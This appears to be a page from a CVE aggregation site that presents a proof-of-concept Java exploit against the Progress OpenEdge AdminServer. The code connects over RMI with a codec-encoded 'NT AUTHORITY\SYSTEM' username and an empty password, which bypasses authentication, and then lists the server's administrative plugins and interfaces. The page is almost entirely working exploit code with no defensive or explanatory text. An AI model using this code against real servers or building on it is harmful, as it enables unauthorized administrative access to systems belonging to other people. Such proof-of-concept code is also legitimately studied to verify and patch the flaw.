4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Main.java JAVA
import com.progress.auth.codec.CodecFactory;
import com.progress.auth.codec.Encoder;
import com.progress.chimera.adminserver.IAdminServer;
import com.progress.chimera.adminserver.IAdminServerConnection;
import java.rmi.Naming;
import java.lang.reflect.Proxy;
import java.util.Vector;


public class Main {
    public static void main(String[] args) throws Exception {
	Encoder encoder = CodecFactory.getCodec("oech1").getEncoder();
        String username = encoder.encode("NT AUTHORITY\\SYSTEM");
        IAdminServerConnection serverConnection = (IAdminServerConnection) Naming.lookup("rmi://" + args[0] + ":20931/Chimera");
        IAdminServer adminServer = serverConnection.connect(username, "");

        String[] plugins = {
                "com.progress.system.SystemPlugIn",
                "com.progress.agent.database.AgentPlugIn",
                "com.progress.ubroker.tools.NSRemoteObject",
                "com.progress.ubroker.tools.UBRemoteCommand",
                "com.progress.juniper.admin.JAPlugIn",
                "com.progress.agent.smdatabase.SMPlugIn",
        };

        for (String plugin_name : plugins) {
            Vector plugin = adminServer.getPlugins(plugin_name);
            System.out.println(plugin_name);
            for (int i = 0; i < plugin.size(); ++i) {
                Proxy proxy = (Proxy) plugin.get(i);
                Class<?>[] interfaces = proxy.getClass().getInterfaces();
                for (Class<?> iface : interfaces) {
                    System.out.println("\t" + iface.getName());
                }
                System.out.println();
            }
        }
    }
}